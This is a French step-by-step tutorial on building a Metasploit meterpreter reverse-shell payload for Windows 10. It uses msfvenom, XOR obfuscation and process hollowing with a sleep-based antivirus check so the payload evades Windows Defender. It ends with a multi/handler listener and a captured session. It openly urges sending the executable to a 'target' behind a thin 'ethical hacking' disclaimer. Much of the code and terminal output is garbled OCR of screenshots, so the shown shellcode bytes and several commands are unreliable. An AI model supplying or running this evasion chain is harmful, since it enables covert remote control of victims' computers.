Infecter un poste Windows 10 moderne avec metasploit
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DISCLAIMER : JE NE SUIS EN AUCUN CAS RESPONSABLE DE L’UTILISATION QUE VOUS ALLEZ FAIRE DE CE SAVOIR. UNIQUEMENT POUR DU HACKING ETIQUE


Le but de ces recherches a été de prendre le contrôle d’un PC via un payload indétectable par Windows defender de façon simple.
Avec une connaissance des outils, nous pouvons facilement arriver à cela en 15 minutes montres en main (voir vidéo) et avec un peu d’entrainement, moins de 10 minutes.

Prérequis :
· Visual studio Code : https://code.visualstudio.com/download
· Plateforme Dotnet : https://dotnet.microsoft.com/en-us/download/dotnet/7.0
· Kali linux (avec metasploit et msfvenom): https://www.kali.org/get-kali/#kali-platforms
· Powershell 

Etape 1 : création du payload de base :
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Pour ce faire, utilisez cette commande msfvenom en changeant l’attribut LHOST en fonction de l’IP de votre Kali linux.
	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=8080 EXITFUNC=thread -f csharp



Une suite de caractères hexadécimaux sera générée. Sauvegardée la dans un fichier par sécurité.
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Etape 2 : générez un payload avec une fonction XOR (décompression à l’ouverture)

Cette étape sert à camoufler le fichier pour ne pas qu’il soit détectable en tant que payload lorsqu’il n’est pas exécuté.
Nous allons utiliser le script d’un hacker étique présent sur github.
https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/XOR%20Shellcode%20Encoder/Program.cs


Pour ce faire, créez un dossier vide « XorCoder » et ouvre le dossier avec visual studio code, ouvrez un terminal VSC dans celui-ci et entrez la commande de base : « dotnet new console »
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Des fichiers de base vont se créer, il faudra modifier le « program.cs »
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Prenez le code de la page github et remplacez le code hexadecimal de base par le votre généré précédemment.
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Une fois le code remplacé, pour compiler l’application, entrez dans le terminal de VSC la commande :
	dotnet publish -p:PublishSingleFile=true -r win-x64 -c Release --self-contained true -p:PublishTrimmed=true





Recupéréz le chemin des fichiers « .exe » :
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Etape 3 : Camoufler le dans un processus en attente

Pour cette étape, la procédure est la même que la précédente, sauf que cette fois si, le code à rentrer dans le script github est le résultat de l’exécution du précédent « .exe » généré.
Prenez donc le lien généré juste auparavant et exécutez le fichier « XorCoder.exe » dans un terminal PowerShell. Un nouveau code devrait être généré, sauvegardez-le dans un fichier texte.
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Créez un nouveau dossier, cette fois-ci « handler », et ouvrez-le avec Visual studio Code.
Avec le même principe que l’autre script, ouvrez-le terminal de Visual studio Code et entrez la commande pour générer les fichiers de base : dotnet new console
Modifiez program.cs et mettez le contenu de ce script :
https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs
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Vous pouvez maintenant compiler le code avec la commande :
	dotnet publish -p:PublishSingleFile=true -r win-x64 -c Release --self-contained true -p:PublishTrimmed=true



Vous pouvez maintenant récupérer l’url des fichiers « .exe » de celle-ci pour recupere « Handle.exe »
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4. Utilisation de Metasploit :
De loin la partie la plus simple, Nous utiliserons uniquement la console de metasploit pour communiquer avec le PC infecté.
Pour ce faire, en tant qu’utilisateur lambda (il est important de ne pas le lancer en tant que l’utilisateur root sinon nous serions limités avec certaines applications).

Lancer la commande :
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Pour configurer metasploit avec votre payload, entrez ces commandes :
	use multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 8080



Les parties jaunes sont en fait à compléter avec les paramètres entrés dans la commande msfvenom exécutée en début de ce document.

Lancez l’écoute de metasploit : 
Exploit
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Voila ! votre Virus/Payload est prêt !
Vous pouvez envoyer le fichier handler.exe à votre cible sans risquer de se faire bloquer par windows defender !
Lorsque la victime lancera le payload, l’interface vous notifiera d’une connexion entrante en un shell propre à metasploit vous sera accessible.
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Voila l’analyse de Windows defender :
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	Commandes utilisées
Pour générer un meterpreter Metasploit sous la forme d'un shellcode avec msfvenom :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=peertube.lestutosdeprocessus.fr LPORT=8080 EXITFUNC=thread -f csharp

Le script XorCoder pour obfusquer son payload avec une fonction XOR :
https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/XOR%20Shellcode%20Encoder/Program.cs

Pour créer un nouveau projet DotNet en mode console dans Visual Studio Code :
"dotnet new console"
Pour compiler le projet DotNet sous la forme d'un seul fichier exécutable intégrant ses librairies :
"dotnet publish -p:PublishSingleFile=true -r win-x64 -c Release --self-contained true -p:PublishTrimmed=true"

Le script de Process Hollowing pour injecter notre shellcode dans un processus en stand-by :
https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs




Son score sur virus total en date du 28/04/23 :
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root@kali)-[~]
ip a
Lo: <LOOPBACK,UP, LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
Link/Loopback 00 00! brd oo 00:00:00
inet 127.0.0.1/8 scope host lo
Valid_Lft forever preferred_Lft forever
inet6 ::1/128 scope host
valid_Lft forever preferred_Lft forever
2: etho: <BROADCAST,MULTICAST,UP, LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
Link/ether 00:0¢:29:89:70:67 brd FF:Ff:Ff:Ff:Ff:Ff
inet 192.166.1.101/26 brd 192.165.1.25% scope global dynamic noprefixroute etho
valid_Lft 43169sec preferred_lft 43169sec
inet6 2ail:e0a:5fd:14a0:eass:4iib:2930:1079/64 scope global dynamic noprefixroute
valid_Lft 86397sec preferred_lft 86397sec
inets fein::923d:7350:3172:0941/64 scope link noprefixroute
valid_Lft forever preferred_Lft forever
3 dockerd: <NO-CARRIER,BROADCAST MULTICAST,UP> mtu 1500 qdisc noqueue state ~ group default
Link/ether 02:42:2a:6e:¢f:2d brd ff:Ff:Ff:FF:FF:FF
inet 172.17.0.1/16 brd 172.17.255.255 scope global dockerd
valid_Lft forever preferred_Lft forever

[Clmet@ali)-(-1
msfvenon —p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=8080 EXITFUNC=thread -f

harp





image3.png
Payload size: 511 bytes
Final size of csharp file: 2628 bytes
byte[] buf = new byte[511] {oxfc,0xss,
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© Programcs ®

© programs
1 using Syst
2 using Systen.Collections.Generic;
3 using System.Ling;
4 using System.Text;
5 using Systen.Threading.Tasks;
6
7 namespace XorCoder
8
9 public class Program
10 {
1 public static void Main(string[] args)
2 {
B /1 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192
14 byte[] buf = new byte[s11] [
15 Oxfc,0x48,0x83, @xed, Bxf0, Oxes,
16 @xcc,@x00,0x08, 0x99, 6x41,0x51, 0x41, 0x50, 852, 8x48, 8x31, 042,
17 ©x51,0x56,065,8x48, @B, 0x52, 0x60, 0x48, OxBb, Bx52, €18, @48,
18 €x8b, 0x52,0x20,6x48, 60 , 0xb7, 043, 0x43, 8x4d, 8x31, 8%, €48,
1 @x8b, x72,0x59, 8x48, 0x31, 6xCO, 0xac, Bx3c, BX61, 8x7C, €x62,8X2¢,
20 6x20,0x41,0x1,0x9, €x0d, 041, 0x01, OxC1, Bxe2, Bxed, €x52, 041,
21 ©x51,0x48,@x8b, 852, 020, 0xBb, 0x42, 0x3c, Bx48, x01, 8xd0, €XE6,
2 ©xB1,0x78,0x18, 8x0b, 8x02, 0x0F , 0xES, 0x72, 0x00, x99, 8x00, BxBD,
23 ©x80, 0xB3, x00, 6x08, €00, 0x48, OxES, OxcB, 0x74, Bx67 , 0x48, 801,
2 0xd0,x50,0x44, BB, 8x40, 020, OxBb, 0x48 , 0x18, 0x49, @01, @0,
2 6xe3, 0x56,0x48, 0xF¥, 6xCO, 0x1, OxBb, 034, BxE8, Bxdd, Bx31, BxCO,
2 ©x48,0x01,0x6,8x48, 031, 0CO, 0x41, 0xC1, 0xc9, x0d, Bxac, @41,
27 ©x01,0xc1,0x38, 8xe0, 075, 0xF1, OxAc, 0x3, Bxdc, 0x24, €x08, 045,
28 x39,0x1,0x75, @xd8, 058, 0x44, OxBb, 0x40, 0x24, €x49, @01, @0,
2 0x66,0x41,ex8b, BxBc, €x48, 044, 0xBb, 0x40, Bx1c, €x49, €x01, €0,
30 ©x41,0x8b,0x04, 888, 0x48, 0x01, 0x0, Ox41, BxS8, Bx41, 858, BxSe,
31 6x59,0x5a, @x41, 058, 0x41, 059, 0x41, 0x5a, Bx43, 0x83, Bxec, €x20,
2 Ox41,0x52,0xFf, @xe0, 058, 041, 0x59, 0xSa, Bx48, @xBb, Bx12, 8xe9,
3 Oxab, 0x ¥, OxFF, BxFF, 8x5d, 0x49, Oxbe, 0x77, 0x73, 8x32, 85, 833,
B ©x32,0x00,0x00, 8x41, 856, 049, 0xB9, Oxe6 , Bx48, xB1, Bxec, @xad,

PROBLEMS  OUTRUT

DENUGCONSOLE  TERMINAL

Le modtle « Application console » @ blen été créé.

Traitesent des actions postérieures & la création en cours. .. ercl de patienter.

Restauration de

TP Securité\XorCoder \XorCoder. csproj

Identification des projets & restaurer.
Restauration effectute de D:\TP Securité\XorCoder\XorCoder..cs

proj (en 140 ms).

Restauration réussie.

75 D:\TP Secritéorcodens []

168.2





image7.png
PS D:\TP Securité\XorCoder> dotnet publish -p:PublishSingleFilestrue -r win-x64 -c Release -
MSBuild version 17.5.14f6FdcfS37 for NET

Tdentfication des projets 3 restaurer...
Restauration effectue de D:\TP Securité\XorCoder \XorCoder..csproj (en 16 ms).

Yorcoder -> D:\TP SecuribVorcader\iin\elasse\net7. #\uln-64 Vorcuder. 11
un certain teaps.
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PS D:\TP Securité\XorCoder\bin\Release\net7.0\win-x64\publish> .\XorCoder.exe
XOR payload (key: @xfa):
oytel] buf = new byte[S11] {
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© progames @

© Programcs.
7 static extern uint ResuseThread(IntPtr hihread);

s

7 public static void Main(string[] args)

7~ {

i 1/ AV evasion: Sleep for 105 and detect if time really passed

7 DateTine t1 - DateTime.Now;

80 Sleep(10000) ;

8 double deltaT = DateTime.Now.Subtract(t1).Totalseconds;

82 iF (delta < 9.5)

8. {

8 retur

85 )

86

87 1/ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC~thread —F csharp

88 1/ XORed with key @xfa

89 byte[] buf = new byte[511] {
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PROBIEMS  OUTPUT  DESUGCONSOLE  TERMINAL

PS D:\TP Securité\Handle> dotnet new console
Le modéle « Application console » a bien été créé.

Traitanant des actions postériewres 3 1s création e Cawrs... Marcl de patianter.
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PS D:\TP Securité\Handle> dotnet publish -p:PublishSingleFile=true - win-x64 -c Release --self-contained true -p:PublishTrimmed=true
MSBuild version 17.5.1+f6fdc537 for .NET

Tdentification des projets 3 restaurer...
Restauration effectude de D:\IP Securité\Handle\Handle.cspro] (en 166 ms).

D:\TP Securité\Handle\Program.cs(130,42): warning CS8625: Impossible de convertir un littéral ayant une valeur null en type référence non-nullable. [D:\TP Securité\Handle\H
andle. csproj)

DA\TP Securité\andle\Progran.cs(131,55): varning CS3625: Tnposs1ble de convertir un Littéral ayant: une valeur null en type référence non-nullable. [DF\TP SecurttéViandleW
andle.csproj]
Handle -> D:\TP Securité\Handle\bin\Release\net7.8\win-x64\Handle.d11

Optinis: un certain temps.
Handle ->|
PS D:\TP le>
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(kali® kali)-[~]
sudo msfconsole

=[ metasploit v6.3.4-dev
+ — —=[ 2294 exploits - 1201 auxiliary - 409 post
+ — —=[ 968 payloads - 45 encoders - 11 nops

+ — —=[ 9 evasion

Metasploit tip: Use help <command> to learn more
about any command
Metasploit Documentation: https://docs.metasploit.con/

nsf6 > 1
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msf6 > use multi/handler

(+] Using configured payload generic/shell_reverse_tcp

B3f6 exploit( < ..l ;) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp

BSf6 exploit( . 1.iilor) > set lhost 0.
lhost = 0.0.0.0

Bf6 exploit( ' \.lr) > set lport 8080
lport = 8080

Bf6 exploit(! i /huniier) > exploit

[+] Started reverse TCP handler on 0.





image14.png
R TR NIV ¢ Lt

[+] Started reverse TCP handler on 8080
[+] Sending stage (200774 bytes) to 192.168.1.107

[+] Meterpreter session 1 opened (192.168.1.101:8080 - 192.168.1.107:8843) at 2023-04-27 13:.
400

unumuﬂi
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